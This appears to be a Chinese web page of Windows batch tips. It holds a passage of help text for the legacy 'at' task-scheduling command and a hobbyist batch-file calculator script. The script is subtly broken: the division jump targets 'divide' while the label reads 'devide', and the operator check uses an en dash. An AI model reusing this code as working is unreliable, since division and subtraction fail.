对于在运行 command 时登录的用户,允许 command 与该用户的桌面进行交互。
/every:
在每个星期或月的指定日期(例如,每个星期四,或每月的第三天)运行 command 命令。
date
指定运行命令的日期。可以指定一周的某日或多日(即,键入 M、T、W、Th、F、S、Su)或一个月中的某日或多日(即,键入从 1 到31 之间的数字)。用逗号分隔多个日期项。如果省略了 date,则 at 使用该月的当前日。
/next:
在下一个指定日期(比如,下一个星期四)到来时运行 command。
command
指定要运行的 Windows 命令、程序(.exe 或 .com 文件)或批处理程序(.bat 或 .cmd 文件)。当命令需要路径作为参数时,请使用绝对路径,也就是从驱动器号开始的整个路径。如果命令在远程计算机上,请指定服务器和共享名的通用命名协定 (UNC) 符号,而不是远程驱动器号。
/?
在命令提示符显示帮助。
注释
Schtasks 是功能更为强大的超集命令行计划工具,它含有 at 命令行工具中的所有功能。对于所有的命令行计划任务,都可以使用 schtasks 来替代 at。有关 schtasks 的详细信息,请参阅“相关主题”。

使用 at
使用 at 命令时,要求您必须是本地 Administrators 组的成员。

加载 Cmd.exe
在运行命令之前,At 不会自动加载 Cmd.exe (命令解释器)。如果没有运行可执行文件 (.exe),则在命令开头必须使用如下所示的方法专门加载 Cmd.exe:

cmd /c dir > c:\test.out。

查看已计划的命令
当不带命令行选项使用 at 时,计划任务会出现在类似于以下格式的表中:

Status ID Day Time Command Line
OK 1 Each F 4:30 PM net send group leads status due
OK 2 Each M 12:00 AM chkstor > check.file
OK 3 Each F 11:59 PM backup2.bat
包含标识号 (ID)
当在命令提示下使用带有标识号 (ID) 的 at 命令时,单个任务项的信息会显示在类似于下面的格式中:

Task ID: 1

Status:OK

Schedule:Each F

Time of Day:4:30 PM

Command:net send group leads status due
当计划带有 at 的命令(尤其是带有命令行选项的命令)后,要通过键入不带命令行选项的 at 来检查该命令语法是否输入正确。如果显示在“命令行”列中的信息不正确,请删除该命令,然后重新键入它。如果还不正确,则可以在重新键入该命令时让它少带些命令行选项。

查看结果
使用 at 的已经计划的命令作为后台程序运行。运行结果不会显示在计算机上。要将输出重定向到文件,请使用重定向符号 (>)。如果将输出重定向到文件,则不论是在命令行还是在批处理文件中使用 at,都需要在重定向符号之前使用转义符 (^)。例如,要重定向输出到 Output.text 文件,则要键入:

at 14:45 c:\test.bat ^>c:\output.txt

执行命令的当前目录为 systemroot 文件夹。

更改系统时间
在使用 at 命令计划了要运行的命令之后,如果更改了计算机的系统时间,则通过键入不带命令行选项的 at 可使 at 计划程序与修改后的系统时间同步。

存储命令
已计划的命令存储在注册表中。这样,如果重新启动“计划”服务,则不会丢失计划任务。

连接到网络驱动器
对于需要访问网络的计划作业,请不要使用已重新定向的驱动器。“计划”服务可能无法访问这些重定向的驱动器,或者,在该计划任务运行时如果有其他用户登录,则这些重定向的驱动器可能不会出现。因此,对于计划作业,请使用 UNC 路径。例如:

at 1:00pm my_backup \\server\share

请不要使用下述语法(其中 x: ?表示由用户建立的连接):

at 1:00pm my_backup x:

如果计划了一个使用驱动器号的 at 命令来连接共享目录,则应包含一个 at 命令以使在完成该驱动器的使用时断开与驱动器的连接。如果不能断开与驱动器的连接,则在命令提示下,所指派的驱动器号将不可用。

范例
要显示 Marketing 服务器上已计划的命令列表,请键入:

at \\marketing
要了解服务器 Corp 上标识号为 3 的命令的详细信息,请键入:

at \\corp 3
要计划在上午 8:00 于 Corp 服务器上运行网络共享命令,并将该列表重定向到 Maintenance 服务器的 Corp.txt 文件(位于 Reports 共享目录下)中,请键入:

at \\corp 08:00 cmd /c "net share reports=d:\marketing\reports >> \\maintenance\reports\corp.txt"
为了在每五天后的午夜将 Marketing 服务器的硬盘驱动器备份到磁带驱动器,首先创建名为 Archive.cmd 的批处理程序(它含有备份命令),然后计划该批处理程序的运行,为此请键入:

at \\marketing 00:00 /every:5,10,15,20,25,30 archive
要取消当前服务器上已计划的所有命令,请按下述方法清除 at 计划信息:

at /delete
如果要运行的命令不是可执行 (.exe) 文件,请按如下所示的方法在该命令之前使用 cmd /c 来加载 Cmd.exe:

cmd /c dir > c:\test.out。

 
 

04

用批处理让DOS运算加法减法乘法除法

@echo off
title DOS计算器—by blackboy
mode con: cols=45 lines=20
setlocal enabledelayedexpansion

REM 开始界面
:begin
cls
color 0a
echo.
echo ╭——————╮
echo ╭———┤ DOS 计算器 ├———╮
echo │ ╰——————╯ │
echo │ =by x2009.cn= │
echo │ │
echo │ 请选择: │
echo │ │
echo │ 1 – 普通+-×÷ │
echo │ 2 – 求N次方 │
echo │ 3 – 求阶乘 │
echo │ h – 帮助 │
echo │ q – 退出 │
echo │ │
echo ╰——————————————╯
REM 取得用户输入
echo.
set UserChoice=""
set /p UserChoice=请选择:
if /I %UserChoice%==q goto end
if /I %UserChoice%==h goto help
if %UserChoice%==1 goto normal
if %UserChoice%==2 goto fang
if %UserChoice%==3 goto jiecheng
goto error

REM 普通运算
:normal
cls
echo.
echo.
echo.
echo   ╭—————————╮
echo   │ 普通+-×÷运算 │
echo   ╰—————————╯
echo.
set /p UserInput=请输入表达式:
REM 检测表达式
echo %UserInput% | findstr "[0-9]">nul || goto error
echo %UserInput% | findstr /I "[a-z]">nul && goto error
echo %UserInput% | find ".">nul && goto error
echo %UserInput% | findstr "+ – * /">nul || goto error
echo %UserInput% | find "+">nul && goto add
echo %UserInput% | find "-">nul && goto minus
echo %UserInput% | find "*">nul && goto multiply
echo %UserInput% | find "/">nul && goto divide
REM 实际运算
:add
for /f "tokens=1,2 delims=+" %%a in ("%UserInput%") do set /a result=%%a+%%b
echo 计算结果=%result%
goto refresh
:minus
for /f "tokens=1,2 delims=-" %%a in ("%UserInput%") do set /a result=%%a-%%b
echo 计算结果=%result%
goto refresh
:multiply
for /f "tokens=1,2 delims=*" %%a in ("%UserInput%") do set /a result=%%a*%%b
echo 计算结果=%result%
goto refresh
:devide
for /f "tokens=1,2 delims=/" %%a in ("%UserInput%") do set /a result=%%a/%%b
echo 计算结果=%result%
goto refresh

REM 计算N次方
:fang
cls
echo.
echo.
echo.
echo   ╭—————————╮
echo   │ 求 N 次 方 │
echo   ╰—————————╯
echo.
set /p UserInput=请输入表达式:
REM 检测表达式
echo %UserInput% | findstr "[0-9]">nul || goto error
echo %UserInput% | findstr /I "[a-z]">nul && goto error
echo %UserInput% | find ".">nul && goto error
echo %UserInput% | find "_">nul || goto error
set num=
set n=
set /a result=1
for /f "tokens=1,2 delims=_" %%a in ("%UserInput%") do set /a num=%%a & set /a n=%%b
if %n%==0 goto showfang
for /L %%i in (1,1,%n%) do set /a result*=%num%
:showfang
echo 计算结果=%result%
goto refresh

REM 计算阶乘
:jiecheng
cls
echo.
echo.
echo.
echo   ╭—————————╮
echo   │ 求 阶 乘 │
echo   ╰—————————╯
echo.
set /p UserInput=请输入要求阶乘的整数:
REM 检测表达式
echo %UserInput% | findstr "[0-9]">nul || goto error
echo %UserInput% | findstr /I "[a-z]">nul && goto error
echo %UserInput% | find ".">nul && goto error
set /a result=1
REM 不可以直接判断UserInput是否为0
set num=%UserInput%
if %num%==0 goto showjiecheng
for /L %%i in (%num%,-1,1) do set /a result*=%%i
:showjiecheng
echo 计算结果=%result%
goto refresh

REM 错误
:error
cls
color 0c
echo.
echo.
echo.
echo ╭————————————╮
echo │ 输入错误,请参考帮助! │
echo ╰————————————╯
echo.

REM 刷新
:refresh
echo.
set UserChoice=""
set /p UserChoice=请按任意键继续,退出请按q,帮助请按h:
if /I %UserChoice%==q goto end
if /I %UserChoice%==h goto help
goto begin

REM 帮助
:help
cls
color 0a
echo.
echo ╭——————╮
echo ╭————┤ 帮 助 ├————╮
echo │ ╰——————╯ │
echo │ │
echo │ 1.普通运算请使用以下形式: │
echo │ 4+1 5-2 2*3 6/2 │
echo │ │
echo │ 2.计算N次方请使用以下形式: │
echo │ 2_5 (求2的5次方) │
echo │ │
echo │ 3.只支持整数运算 │
echo │ │
echo │ 4.输入部分特殊符号可能会 │
echo │ 导致意外退出 │
echo │ │
echo ╰————————————————╯
goto refresh

REM 退出
:end
cls
color 0a
echo.
echo.
echo.
echo ╭————————————————╮
echo │ │
echo │ 非常感谢您的使用,再见!  │
echo │ │
echo ╰————————————————╯
ping -n 2 127.1>nul
exit

 

 
 

Pages: 1 2 下一页